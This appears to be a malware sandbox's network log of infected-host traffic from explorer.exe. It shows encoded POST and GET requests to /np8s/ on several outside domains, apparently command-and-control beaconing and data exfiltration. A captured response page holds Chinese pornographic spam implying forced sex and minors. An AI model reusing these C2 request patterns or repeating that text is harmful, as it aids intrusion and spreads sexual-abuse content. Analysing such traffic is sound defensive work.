Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:43:53.841447115 CEST	9682	OUT	POST /np8s/ HTTP/1.1 Host: www.68chengxinle.com Connection: close Content-Length: 409 Cache-Control: no-cache Origin: http://www.68chengxinle.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.68chengxinle.com/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 37 64 39 33 45 51 68 55 78 32 6d 4c 57 63 39 4b 5a 76 50 4b 4a 74 43 64 36 43 65 71 4d 54 35 6e 62 65 53 4d 4d 6d 7e 36 61 30 77 30 34 6f 37 71 4a 55 75 32 43 72 4f 2d 62 6c 39 52 57 47 56 76 78 4e 58 64 4e 78 7e 72 79 48 56 73 77 42 68 5a 52 76 42 53 45 4a 30 4c 6a 6c 45 53 6d 4c 67 5a 49 54 78 66 73 76 49 76 59 4c 4c 73 39 4e 35 4a 45 78 5a 69 58 6f 70 4b 6b 76 7a 4a 42 37 32 5a 59 66 7a 63 4b 39 66 39 74 31 38 75 4a 58 68 68 57 7a 79 44 42 4b 7e 42 57 49 6e 79 68 6f 73 36 49 52 56 34 75 34 43 63 36 45 58 48 6b 45 4b 54 50 45 31 67 51 33 4d 72 6f 41 50 37 6d 49 41 6e 44 79 38 77 46 35 6d 56 36 79 53 31 7a 67 4a 4e 30 63 42 67 54 38 31 4d 30 34 6f 42 39 62 38 50 53 7a 73 71 41 47 48 66 46 49 41 6c 4d 63 7a 4c 4b 36 33 70 30 69 61 6f 61 67 46 7a 31 41 4a 67 38 42 57 2d 4e 59 66 4a 6b 74 67 65 70 6e 65 72 6a 73 77 45 7a 6e 6d 76 55 66 33 34 75 39 48 76 34 45 4c 71 54 47 55 4b 6d 64 71 2d 69 47 73 76 28 4d 58 35 37 41 6a 31 6c 5f 53 66 77 34 7e 58 30 4b 45 79 43 74 50 50 43 62 57 33 37 75 64 77 4e 39 65 6d 46 52 4b 52 6f 42 64 38 28 6d 37 45 49 6b 63 6f 58 64 63 6f 46 79 67 42 28 77 51 57 62 43 7e 4d 30 55 4d 52 31 35 7e 35 32 56 72 67 6d 46 5a 77 39 49 78 51 51 6e 73 6c 52 46 63 32 61 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=7d93EQhUx2mLWc9KZvPKJtCd6CeqMT5nbeSMMm~6a0w04o7qJUu2CrO-bl9RWGVvxNXdNx~ryHVswBhZRvBSEJ0LjlESmLgZITxfsvIvYLLs9N5JExZiXopKkvzJB72ZYfzcK9f9t18uJXhhWzyDBK~BWInyhos6IRV4u4Cc6EXHkEKTPE1gQ3MroAP7mIAnDy8wF5mV6yS1zgJN0cBgT81M04oB9b8PSzsqAGHfFIAlMczLK63p0iaoagFz1AJg8BW-NYfJktgepnerjswEznmvUf34u9Hv4ELqTGUKmdq-iGsv(MX57Aj1l_Sfw4~X0KEyCtPPCbW37udwN9emFRKRoBd8(m7EIkcoXdcoFygB(wQWbC~M0UMR15~52VrgmFZw9IxQQnslRFc2aw).

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49919	45.39.111.146	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:43:54.008547068 CEST	9691	OUT	POST /np8s/ HTTP/1.1 Host: www.68chengxinle.com Connection: close Content-Length: 36477 Cache-Control: no-cache Origin: http://www.68chengxinle.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.68chengxinle.com/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 37 64 39 33 45 56 68 38 75 57 4b 57 61 73 35 70 65 64 76 6b 52 4e 53 6c 34 79 4b 6c 4a 52 73 6e 52 4d 71 2d 53 54 43 4c 62 33 73 75 28 59 50 4c 44 31 6e 78 43 70 57 58 54 33 4a 56 53 6d 5a 6f 78 4e 66 43 4e 78 36 72 7a 48 74 38 33 67 78 5f 52 4e 35 52 48 70 31 2d 69 6c 45 62 73 70 55 30 49 54 6c 48 73 76 51 5f 59 62 66 73 28 6f 6c 4a 4e 51 5a 70 49 59 70 45 34 2d 65 4b 63 72 36 75 59 66 4c 55 4b 5f 4c 39 74 46 34 75 47 58 52 69 51 77 71 45 4d 36 7e 4f 44 34 6e 5a 34 34 67 49 49 52 52 61 75 39 36 63 36 79 76 48 6c 58 53 54 4a 31 31 6a 61 6e 4d 75 69 67 4f 6b 69 49 63 32 44 79 77 38 46 34 6a 69 39 43 57 31 79 51 4a 4f 34 71 42 6f 43 39 31 68 32 36 49 32 39 61 42 72 52 6e 4d 35 41 44 58 5f 56 65 74 52 43 61 65 73 4b 34 61 45 35 69 61 73 4f 77 45 76 31 41 49 66 38 42 58 64 4e 62 33 4a 6b 71 45 65 70 7a 7e 72 68 75 6f 4c 38 33 6d 71 51 66 33 79 34 4e 44 58 34 45 54 45 54 44 73 67 6d 71 69 2d 68 7a 77 76 34 75 76 2d 30 51 69 2d 69 5f 53 58 75 49 7e 75 30 4b 46 52 43 73 50 6c 43 72 36 33 36 39 46 77 4e 62 4b 6d 48 68 4b 52 6e 68 64 79 30 47 33 79 49 6c 30 73 58 63 41 43 46 42 4d 42 38 6a 6f 57 66 57 69 4d 34 45 4d 52 36 5a 28 64 6c 46 6d 66 71 79 78 4c 7e 70 30 6d 46 6e 64 41 53 6d 39 4f 4b 41 69 69 39 43 6a 49 67 32 57 48 79 64 7e 73 6b 31 7a 39 34 61 31 41 7a 48 73 4f 74 32 34 43 6f 58 46 4d 77 67 49 37 48 51 6c 33 6e 54 32 47 63 4f 62 77 4c 62 6b 41 66 2d 64 65 6f 77 53 30 70 5a 61 57 73 7a 7a 75 68 55 70 52 65 5a 4a 44 76 7a 56 5f 71 59 50 61 35 4f 6a 6b 49 72 54 6a 58 31 74 34 76 78 73 32 62 6a 44 6b 70 4a 69 62 70 30 48 56 6c 33 72 62 70 77 4f 62 38 4d 76 49 57 6c 73 4c 69 62 70 70 4d 70 73 55 5a 50 61 32 28 5a 73 68 41 73 53 43 38 6b 31 46 61 5f 33 66 4b 71 44 45 44 66 4f 72 43 54 75 73 71 48 53 35 35 32 4b 72 51 56 64 4e 34 2d 34 36 64 37 32 36 42 50 43 34 4e 42 62 37 6b 51 48 50 6d 47 67 52 74 58 79 36 61 47 6c 6d 75 47 7a 33 42 6f 67 4e 34 70 4c 57 67 47 6b 7a 62 78 46 34 51 76 52 57 6a 45 4d 55 44 6d 6a 75 6f 6f 32 4f 56 4b 33 58 5a 30 73 56 74 76 63 51 4f 6f 73 4a 64 68 68 38 78 2d 5a 34 48 65 69 76 73 5f 4a 43 50 71 51 53 65 4f 71 4a 67 34 61 73 69 2d 34 74 41 56 61 75 4d 39 77 61 79 57 42 63 55 52 51 63 77 69 72 35 54 4e 7e 4f 32 67 49 35 59 7a 72 30 39 58 28 65 6c 4d 49 44 61 38 31 31 68 72 5a 57 4f 52 59 6e 7a 31 66 64 45 70 73 50 52 6b 66 69 47 74 4b 54 77 6e 47 50 48 69 30 51 4c 70 55 51 39 54 6d 46 6d 6c 34 6d 6f 65 57 67 6a 69 45 69 66 34 5a 68 44 64 6c 36 44 46 6f 51 62 63 57 79 4c 4d 34 38 39 70 54 34 4c 63 32 6c 43 5a 50 78 6f 64 28 6d 61 5f 6a 72 78 4d 36 30 54 6b 31 36 55 78 4c 4b 67 66 58 31 69 4c 56 5f 31 4c 62 66 50 74 6c 57 42 4e 69 38 7e 78 75 64 6f 65 37 51 74 66 7a 56 31 4d 77 4b 4d 79 6d 4a 41 4b 37 6c 57 63 6c 4c 35 38 43 52 79 43 44 30 79 4e 33 30 58 79 76 55 65 4d 32 68 4b 53 46 43 6a 64 74 33 36 72 28 34 32 42 55 32 4e 6d 62 39 34 62 7e 6a 32 48 50 64 33 48 66 65 6c 61 67 41 55 64 56 54 75 78 30 72 6e 36 57 68 50 62 5a 49 7e 36 63 32 33 59 39 42 43 52 69 46 73 33 34 39 4c 38 41 31 45 55 4f 4f 33 41 50 68 63 7a 46 70 65 39 68 4e 6f 7a 61 6a 66 68 71 73 58 6a 58 4a 4d 62 74 71 39 34 33 61 62 4e 61 44 54 75 67 76 6b 34 57 72 52 4c 55 30 6b 6a 61 49 7e 39 78 62 62 6a 61 37 43 76 6d 37 66 77 71 42 6c 76 64 6d 36 4a 63 5a 6a 42 6c 56 44 65 6e 69 68 44 58 58 77 4a 71 53 33 55 4a 52 41 30 49 31 50 31 63 58 64 37 48 44 7a 62 34 6c 61 46 36 59 67 57 72 56 4e 64 64 5f 46 48 42 37 73 4f 48 58 43 77 75 5f 4f 52 38 74 73 48 52 74 4a 4f 64 6c 70 67 38 4b 78 57 59 39 37 34 45 39 68 59 4d 2d 69 6e 4f 50 67 58 7e 71 34 73 36 43 28 6f 70 32 67 47 52 58 6c 51 49 62 38 67 35 62 78 43 37 6d 6c 59 68 6d 4b 69 4c 30 49 2d 72 65 68 63 78 42 6e 50 39 47 57 6e 48 46 53 46 63 69 43 6d 62 32 65 6d 51 39 59 64 6d 56 59 32 48 56 4f 66 55 64 44 4d 7e 31 7e 62 48 64 6b 2d 65 45 4e 37 58 63 4b 53 48 43 49 52 64 36 42 57 41 62 7a 67 42 51 55 63 30 59 72 4f 36 4c 4e 6d 77 7a 6a 6d 72 52 56 30 48 52 67 31 65 6d 61 6a 5a 54 35 45 62 4a 77 34 48 76 6f 78 68 71 53 33 36 74 59 69 4b 66 73 6b 77 4c 59 71 6e 4c 64 64 45 71 4a 48 44 70 71 45 49 46 65 36 6b 5a 38 69 79 75 61 49 28 44 7e 46 73 4a 52 75 56 78 4f 61 52 Data Ascii: zVB=7d93EVh8uWKWas5pedvkRNSl4yKlJRsnRMq-STCLb3su(YPLD1nxCpWXT3JVSmZoxNfCNx6rzHt83gx_RN5RHp1-ilEbspU0ITlHsvQ_Ybfs(olJNQZpIYpE4-eKcr6uYfLUK_L9tF4uGXRiQwqEM6~OD4nZ44gIIRRau96c6yvHlXSTJ11janMuigOkiIc2Dyw8F4ji9CW1yQJO4qBoC91h26I29aBrRnM5ADX_VetRCaesK4aE5iasOwEv1AIf8BXdNb3JkqEepz~rhuoL83mqQf3y4NDX4ETETDsgmqi-hzwv4uv-0Qi-i_SXuI~u0KFRCsPlCr6369FwNbKmHhKRnhdy0G3yIl0sXcACFBMB8joWfWiM4EMR6Z(dlFmfqyxL~p0mFndASm9OKAii9CjIg2WHyd~sk1z94a1AzHsOt24CoXFMwgI7HQl3nT2GcObwLbkAf-deowS0pZaWszzuhUpReZJDvzV_qYPa5OjkIrTjX1t4vxs2bjDkpJibp0HVl3rbpwOb8MvIWlsLibppMpsUZPa2(ZshAsSC8k1Fa_3fKqDEDfOrCTusqHS552KrQVdN4-46d726BPC4NBb7kQHPmGgRtXy6aGlmuGz3BogN4pLWgGkzbxF4QvRWjEMUDmjuoo2OVK3XZ0sVtvcQOosJdhh8x-Z4Heivs_JCPqQSeOqJg4asi-4tAVauM9wayWBcURQcwir5TN~O2gI5Yzr09X(elMIDa811hrZWORYnz1fdEpsPRkfiGtKTwnGPHi0QLpUQ9TmFml4moeWgjiEif4ZhDdl6DFoQbcWyLM489pT4Lc2lCZPxod(ma_jrxM60Tk16UxLKgfX1iLV_1LbfPtlWBNi8~xudoe7QtfzV1MwKMymJAK7lWclL58CRyCD0yN30XyvUeM2hKSFCjdt36r(42BU2Nmb94b~j2HPd3HfelagAUdVTux0rn6WhPbZI~6c23Y9BCRiFs349L8A1EUOO3APhczFpe9hNozajfhqsXjXJMbtq943abNaDTugvk4WrRLU0kjaI~9xbbja7Cvm7fwqBlvdm6JcZjBlVDenihDXXwJqS3UJRA0I1P1cXd7HDzb4laF6YgWrVNdd_FHB7sOHXCwu_OR8tsHRtJOdlpg8KxWY974E9hYM-inOPgX~q4s6C(op2gGRXlQIb8g5bxC7mlYhmKiL0I-rehcxBnP9GWnHFSFciCmb2emQ9YdmVY2HVOfUdDM~1~bHdk-eEN7XcKSHCIRd6BWAbzgBQUc0YrO6LNmwzjmrRV0HRg1emajZT5EbJw4HvoxhqS36tYiKfskwLYqnLddEqJHDpqEIFe6kZ8iyuaI(D~FsJRuVxOaRCnNaxrPyKfZkr65oJOSIpi784SAGOzhSD6kvvvKQItZbMk3fQN1W7nFhiWj~hRu(vGy5fEeCQNquhz1cLIP0Zvea6EeDLHzuBH1Z5qXMucDsh4aZs2Ad38TT9T-wi(2~ZX7YUfJ1H8QdTQG7XmTYmwsEa6799FpdN8eRpnEPt3cJuJIxud8p8lD(fSYKBeMajyfIQufUAiOJdowux7Q985DPlIkWp9i7yBEdGWljK5AdQvyhbPmzlnZ8Sk4eJXx1KIQb_w4(6t2o9hSCMwz(FNzH-1eZmzh2lmMke~47uNXtsGBOFb1D1qNxre5epab5rJ5bNXUKwjKtU1jvovmQZfMc28PmC9r1SIckmxVjbsm3-oyR9MXLG8wCCdLg0L0neRF0-XIjwY5bh1cku9YK6Fg7ZwZWKPPj_ZbjLJybyLpZrSZramYsqeKbiuZbIMMtQFu2Y0vzZK9Pnk9Y7doTFzbnzFWNWILJ7N1q2TybohS6S4yap1XANoqXcTZJ_vlvsj-QV1NAYYSyUC_~o3kAj(Fulb7rAFUOP1n9nOIaXakg0bBJEN2qwQP~I1YBH4_SYkC24F23oZ07qgVudb5tNpTgoFFioRc8JJ2LVFekqsstAyoyXLsTcRZjMJbNX6kIic_wgrSX7JbAqFjVAFM5MP-siQYbmyr4F8ejOlWc2XRM-lKwNnHEfVKcEM42GpF4Cs4hTF0ODogAuBzf9Fq(IGRWQygzuntgg(afryqMD~suBDD3pTjN_o51KvKm1pPKgpOUcoZVQwPDzWgoAifBgK9(o(Us9kAsaeMpYzcw_OV7vyqzRbih3qakfZmw-Kd1XgtEolvkIYNX14oRF(2EED-uXELLIiIj3hJaH5Ewv6qdif5xa3F8TOl2CLy35H2W5fi1btg2FDayUsr5oWsbqGh4eeR7a8qZi9lcoTz2aXgd2qb9KcZhjPvWq0knpzYrHqXMayLvmjnRsj0Kz2QzuHW1ZJBYIjMAIRKCNoUKij7tb1NbtQj4vgI3OeeSnBQRhoq3yoEfyKM5ItufoSY7Y5wLF2e3NlwiAefoaUXNtEoW23VvsfcD6Psy3FYrq3eGotFmVITix4BNlBNjQ0fUbv9v_EyCIxlcaH3WQr7u1lxU-2geu0LnrpoUnoOXz1bVa5UJCrC5llVni2BdtHPXGToztObU8H7HqK-kmAQKIRgY-PV1fSPtb0RjRGoCiXT1mmpO2FAD_fRphuDve3ZDx4dmCrrxq~GQvklvDFOcyrqPrA0c4otV9LysIOiK8TFQH76RxVsSMFvyugoiQD_64COaSye0tYO2gyJYd(2A558pd7nBzowAkmpjgSQBRO9TWdKYBVGTkB3~dfi20ukbTyAA47ACRHQIr05GJh7~TkY4ZGpG20hsQg9HQ757Qht(PTwvLdjFEKTGMZjQvCkm_dPYnnYO30FD3VNNyNLQ9nF8lWvsMjt16It5XtpU2mKgBQQvvKPfZv7u8nXE0UzZ6GjM_ynGlPkrzDcZkdlhWSsaJ8amJWkJVmn26~o5gdic4Xge1xsaRlFo_AxW17tGYsi1pMvD6IF0iGXSIk0YtxV2qAj5OLQQeykL7aZDAvqWucpth4yDTn7~HhfzoxmzEdthQFD47xD9-A5by9yBGQt9LcpMShsSrEVBNgo6kc2OHbuIr(887H4VqiC74d0TOlGh3jy9-eqkxjoBPEHIDemvusug3Q3fWc8pdvehm0HeUWHuGN2SvTzMHDenGtQZxMjETrAGosD~QkJuio8EUU4fG0bmNBh7HCz8V7zKbCHNNK9yXrVqT1T9HfG1gZl0NFlxCIBXqKO6mkYt4o_34uK9w4rl4goS_WD8hdfur1yITqeoDsf0OeH1IDsX7psusVd(SacgnRz98pmRUlIIU8mu1eZiXXSyEt1EewlL3xdzhW7KcqovPuzaXAh9b3VPXpOEn3ItxYfKIDn(HlQWHT7Y2pDzruUF4ZB3LH-oQWPEVpMgLjheV6_CplNqzdZf5eND0oy2Enu(bvpRJ8bWyiVzX0NVnuOdX1CYlmY~Q(_bSpeEcB9FvN4hsty5F1t4e2ot-MsyMZ4ecqsK5H273aHx17kvn26aTmAXIIyciYPr9RQmv6Lna73LBq5USqAf1JpZCREORcfmtXD4YHRhjpuWjrKeikcSzCu4ONg4l8ACPA7fH6hB0D_38iJ5g3ED8eyrAXezZ59NT(yrvsSjR(sMRFdejHZjcWqkjmnbSI38Wj99Cv01p6wc0DKEs~g46GYtw7lNUiV3IGhoBWdlQhgujk24rAUwcFsSqAnhxX_jZu-z7Hh0VBbU7CjaXqaXRrg(DgH4gvVd9bnm5b_xJNVCJ3RpL~Axxq4ucDChXoGXeiJVF1TVVeo7vNOyhmCnWSbTx(YWo3X2calqemn(AjGLGHDl6s2dvO5B4xp8FX7DuuS3GYiQGhEB9SLbT3rniMJlO1_ZV0iAR3d2PR3QAIU5yrgRO3keVRvpjlbIoUnysmD0-Y21mea5e9PnIHGbKD1gT0BGFTvhquiqalhodbknFOjfLj_pR3qgri6RVlZ0qX_xaXB6CRgEif9FX6jMmsq9qQIESoo5LRkHmr5BnLzIyrxHp3NYowpfJHrXzyWv0e078eMg2zcj8ct(DyXCgKowf7bW79YFua9pRPOJaGKBmsB3cDA8DwMlEjlIrXEYc0azs44WV0lbcTtGXU8Smcp1DeLFZZhKGv-
May 27, 2022 18:43:54.173640013 CEST	9706	OUT	Data Raw: 4a 6e 63 44 58 58 32 75 4e 58 73 51 4a 51 78 6d 57 39 72 64 44 79 4f 6b 67 4e 41 63 54 64 64 4e 6c 4f 33 58 4f 48 48 45 38 52 7e 4a 46 5f 44 32 41 62 69 48 58 57 48 62 45 6e 75 4a 4d 54 64 6f 68 6c 30 78 6d 35 64 46 52 52 41 30 54 70 73 2d 69 37 Data Ascii: JncDXX2uNXsQJQxmW9rdDyOkgNAcTddNlO3XOHHE8R~JF_D2AbiHXWHbEnuJMTdohl0xm5dFRRA0Tps-i7nympgHvnvJJgMoMnlwHkVHHyBlx4hamS6Pdserh7WLGXqd8gWVDaxUliajd8kPQEhuIWTynzb9ZoVCwrLjbyUQhx~427yxH4TdEkRmyzOhLoFWl92FyzvPmx2fNxPFIn64nt7yaDmK9w~H~vlu63NPyxvwD3SDKtU
May 27, 2022 18:43:54.173744917 CEST	9712	OUT	Data Raw: 51 53 53 35 68 66 68 52 53 30 31 41 41 57 6a 73 44 6e 44 31 51 63 56 61 6f 6d 4e 77 4a 75 65 4b 6c 6d 4a 34 42 61 32 74 6f 38 78 65 35 50 42 51 63 44 37 32 6a 78 53 31 6b 69 56 38 35 44 4c 68 4b 33 70 5f 38 5f 6a 6f 4b 35 47 63 7a 47 33 45 65 6a Data Ascii: QSS5hfhRS01AAWjsDnD1QcVaomNwJueKlmJ4Ba2to8xe5PBQcD72jxS1kiV85DLhK3p_8_joK5GczG3EejfM9zvYrimWVSbP2fvIo2joniPgql1xwzrNvi1spD6jmCNf~0~7Tcn8rMYr0SSe5khwD0ecDyjp~ABropxJxbLeI7M_QpoEI1UsdvC2LqiVN2Fo84mFk2(opD59O7OwieWRBBxznIEavoaXJGxmP_ifiP0gi7xuyq(
May 27, 2022 18:43:54.341402054 CEST	9720	OUT	Data Raw: 48 6f 68 37 48 44 4b 49 59 35 78 30 36 33 4a 67 4a 33 38 64 28 44 77 41 34 49 45 69 74 65 5a 6c 62 41 51 33 32 38 6b 68 53 6c 41 45 55 63 77 33 35 77 35 6f 4a 42 55 6a 78 47 61 47 4f 71 4c 52 58 74 61 4a 6e 64 4f 34 55 4b 62 77 67 4d 38 52 7e 74 Data Ascii: Hoh7HDKIY5x063JgJ38d(DwA4IEiteZlbAQ328khSlAEUcw35w5oJBUjxGaGOqLRXtaJndO4UKbwgM8R~tD0x3H10EYLQqw5w4Q8lcbTNaQsbK2C~_rFtW8n6oLvId~Enycn8E4rOAjbkMU2MmBjMaw756i4OmOmCLAv5Gl4x6V0SKF1~wEvLRcWwlGxhVA3vssch5FQ5AzX3V(WG_kxtxn-MihbUwec8SGKbTUOw4621rejryE

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49920	45.39.111.146	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:43:54.176553011 CEST	9712	OUT	GET /np8s/?zVB=0fJNa1pbsGGBLLIqJIKrQqKQ2B2XPA1kKZrGWkGMUEET6sTbN1/jKODkGG9Xc1lZm5PZ&4hM4=o4B0f HTTP/1.1 Host: www.68chengxinle.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 27, 2022 18:43:54.360255957 CEST	9721	IN	HTTP/1.1 200 OK Date: Fri, 27 May 2022 16:44:00 GMT Content-Length: 1929 Content-Type: text/html Server: nginx Data Raw: 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6c 65 3d 27 b2 a9 c2 de c1 b7 b0 c9 d3 b0 ca d3 ce c4 bb af b7 a2 d5 b9 b9 ab cb be 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 74 69 74 6c 65 3e 26 23 34 39 3b 26 23 35 36 3b 26 23 33 31 31 30 35 3b 26 23 32 36 30 38 30 3b 26 23 33 32 37 36 34 3b 26 23 32 30 30 34 34 3b 26 23 32 34 30 33 37 3b 26 23 32 31 34 37 35 3b 26 23 32 30 38 34 30 3b 26 23 32 34 34 32 35 3b 26 23 32 32 38 32 33 3b 26 23 32 30 38 34 30 3b 2c 26 23 32 34 33 37 38 3b 26 23 33 34 38 39 32 3b 26 23 32 35 31 37 30 3b 26 23 32 34 33 32 30 3b 26 23 32 31 34 35 32 3b 26 23 33 33 31 35 31 3b 26 23 33 30 31 32 37 3b 26 23 32 39 33 37 38 3b 26 23 33 36 38 32 37 3b 26 23 32 30 39 38 36 3b 26 23 32 39 32 34 35 3b 26 23 32 39 32 34 35 3b 26 23 32 39 32 34 35 3b 2c 26 23 32 30 38 34 33 3b 26 23 32 35 31 30 36 3b 26 23 32 30 38 34 33 3b 26 23 32 35 31 30 36 3b 26 23 32 36 33 36 38 3b 26 23 32 36 30 33 32 3b 26 23 32 30 38 31 33 3b 26 23 33 36 31 35 33 3b 26 23 31 31 39 3b 26 23 31 31 39 3b 26 23 31 31 39 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 31 39 39 38 31 3b 26 23 33 39 30 33 38 3b 26 23 33 31 32 35 38 3b 26 23 32 33 32 37 33 3b 26 23 32 34 33 37 38 3b 26 23 33 34 38 39 32 3b 26 23 33 30 37 37 32 3b 26 23 31 39 39 37 37 3b 26 23 32 30 30 31 30 3b 26 23 32 33 35 36 37 3b 26 23 32 32 37 38 38 3b 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 33 38 34 35 31 3b 26 23 32 31 34 38 38 3b 26 23 33 39 30 33 30 3b 26 23 33 30 35 32 38 3b 26 23 32 33 37 33 31 3b 26 23 32 31 30 31 36 3b 26 23 32 36 31 39 35 3b 26 23 33 33 36 37 33 3b 26 23 33 30 33 34 30 3b 26 23 33 32 39 33 33 3b 26 23 33 33 32 31 36 3b 2c 26 23 32 34 33 37 38 3b 26 23 33 34 38 39 32 3b 26 23 32 35 31 37 30 3b 26 23 32 34 33 32 30 3b 26 23 32 31 34 35 32 3b 26 23 33 33 31 35 31 3b 26 23 33 30 31 32 37 3b 26 23 32 39 33 37 38 3b 26 23 33 36 38 32 37 3b 26 23 32 30 39 38 36 3b 26 23 32 39 32 34 35 3b 26 23 32 39 32 34 35 3b 26 23 32 39 32 34 35 3b 2c 26 23 32 30 38 34 33 3b 26 23 32 35 31 30 36 3b 26 23 32 30 38 34 33 3b 26 23 32 35 31 30 36 3b 26 23 32 36 33 36 38 3b 26 23 32 36 30 33 32 3b 26 23 32 30 38 31 33 3b 26 23 33 36 31 35 33 3b 26 23 31 31 39 3b 26 23 31 31 39 3b 26 23 31 31 39 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 31 39 39 38 31 3b 26 23 33 39 30 33 38 3b 26 23 33 31 32 35 38 3b 26 23 32 33 32 37 33 3b 26 23 32 34 33 37 38 3b 26 23 33 34 38 39 32 3b 26 23 33 30 37 37 32 3b 26 23 31 39 39 37 37 3b 26 23 32 30 30 31 30 3b 26 23 32 33 35 36 37 3b 26 23 32 32 37 38 38 3b 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 39 30 38 37 3b 26 23 32 32 39 31 39 3b 26 23 32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 33 31 39 33 34 3b 26 23 32 31 36 39 37 3b 26 23 31 39 39 36 38 3b 26 23 32 31 33 30 36 3b 26 23 32 30 31 30 38 3b 26 23 32 31 33 30 36 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 32 34 33 37 38 3b 26 23 33 34 38 39 32 3b 26 23 32 35 31 37 30 3b 26 23 32 34 33 32 30 3b 26 23 32 31 34 35 32 3b 26 23 33 33 31 35 31 3b 26 23 33 30 31 32 37 3b 26 23 32 39 33 37 38 3b 26 23 33 36 38 32 37 3b 26 23 32 30 39 38 36 3b 26 23 32 39 32 34 35 3b 26 23 32 39 32 34 35 3b 26 23 32 39 32 34 35 3b 2c 26 23 32 30 38 34 33 3b 26 23 32 35 31 30 36 3b 26 23 32 30 38 34 33 3b 26 23 32 35 31 30 36 3b 26 23 32 36 33 36 38 3b 26 23 32 36 30 33 32 3b 26 23 32 30 Data Ascii: <html xmlns="http://www.w3.org/1999/xhtml"><head><script>document.title='';</script><title>18禁无翼乌工口全彩大全,强行扒开双腿疯狂进出爽爽爽,八戒八戒最新免费www视频,不顾稚嫩强行破三个小处</title><meta name="keywords" content="阳台顶着岳刘晓莉的肥臀,强行扒开双腿疯狂进出爽爽爽,八戒八戒最新免费www视频,不顾稚嫩强行破三个小处" /><meta name="description" content="熟妇人妻精品一区二区视频,强行扒开双腿疯狂进出爽爽爽,八戒八戒最新&#20
May 27, 2022 18:43:54.360297918 CEST	9722	IN	Data Raw: 38 31 33 3b 26 23 33 36 31 35 33 3b 26 23 31 31 39 3b 26 23 31 31 39 3b 26 23 31 31 39 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 31 39 39 38 31 3b 26 23 33 39 30 33 38 3b 26 23 33 31 32 35 38 3b 26 23 32 33 32 37 33 3b 26 23 32 Data Ascii: 813;费www视频,不顾稚嫩强行破三个小处,少妇性饥渴videofree,fi

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.5	49928	23.231.99.207	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:44:11.760749102 CEST	9731	OUT	GET /np8s/?zVB=MO+mSdLLrNuwRQYoVJuGLv0I5Vniy3FD6QWfbcj4un1GXTVLdefusF8/o4IGo+fIW5Ou&CTr8g=z48HVPSHfp HTTP/1.1 Host: www.refreshertowels.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	49931	66.235.200.145	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:44:17.624659061 CEST	9734	OUT	POST /np8s/ HTTP/1.1 Host: www.muddybootslife.com Connection: close Content-Length: 409 Cache-Control: no-cache Origin: http://www.muddybootslife.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.muddybootslife.com/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 32 54 44 61 55 45 6b 4d 73 4b 6e 54 31 57 74 58 38 37 36 31 49 55 56 2d 64 39 31 52 30 72 70 74 7e 47 53 71 30 4f 51 66 59 6a 6a 41 33 4f 41 66 4f 61 44 32 63 65 4c 44 56 5a 31 36 72 59 54 6c 6f 66 79 35 4e 45 7a 49 50 52 51 55 67 79 56 71 78 2d 66 68 71 66 76 49 30 32 6a 54 4b 52 62 61 39 66 44 32 33 4a 6a 6d 67 42 34 6f 52 39 52 37 6f 34 34 68 43 6c 4b 6a 36 55 51 4f 68 76 55 53 32 75 69 55 28 45 7e 68 59 45 4f 4a 42 47 58 52 44 45 6d 58 52 34 67 47 65 65 72 36 79 78 36 5a 76 4b 62 42 7e 7a 53 51 6e 79 32 5f 78 41 5a 73 43 36 6b 71 35 36 71 2d 4a 5a 43 68 6b 78 6d 6b 4f 76 62 44 6e 42 6d 30 46 37 34 6d 30 75 30 35 53 63 6c 61 39 34 55 49 76 4d 6c 76 64 47 62 30 46 68 41 79 5a 6e 4c 5a 68 5f 4c 6e 4a 6c 45 35 6f 48 45 38 79 42 69 36 55 73 6d 38 4a 79 6a 58 66 46 57 6b 78 51 6e 43 59 6e 67 67 62 61 7a 4e 53 58 4b 59 54 69 6e 48 63 6e 64 62 4f 62 61 4d 65 6a 54 6f 63 54 